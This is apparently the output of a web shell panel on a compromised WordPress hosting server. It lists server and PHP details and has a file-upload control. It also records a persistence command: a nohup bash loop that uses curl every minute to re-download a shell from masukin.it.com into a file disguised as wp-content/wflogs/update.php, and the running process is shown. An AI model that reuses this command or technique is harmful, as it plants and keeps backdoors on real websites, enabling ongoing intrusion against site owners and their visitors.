HEX
Server: LiteSpeed
System: Linux cyberpanel211onubuntu2004-s-1vcpu-1gb-blr1-01 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64
User: excel9995 (1002)
PHP: 8.0.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /home/exceltradinguae.ae/public_html/
Upload Files
File: /home/exceltradinguae.ae/public_html/nohup_info_5a2361c79f88ab935f5f235340794f24.txt
Path: /home/exceltradinguae.ae/public_html/oldwebsite-backup-bk/wp-content/wflogs/update.php
URL: https://masukin.it.com/shell.txt
Command: nohup bash -c "while true; do curl -s https://masukin.it.com/shell.txt -o /home/exceltradinguae.ae/public_html/oldwebsite-backup-bk/wp-content/wflogs/update.php; sleep 60; done" > /dev/null 2>&1 &
Created: 2025-10-13 07:24:17
Process Info:
excel99+ 4019565  0.0  0.1   3976  2916 ?        SN   07:24   0:00 bash -c while true; do curl -s https://masukin.it.com/shell.txt -o /home/exceltradinguae.ae/public_html/oldwebsite-backup-bk/wp-content/wflogs/update.php; sleep 60; done
@ Telegram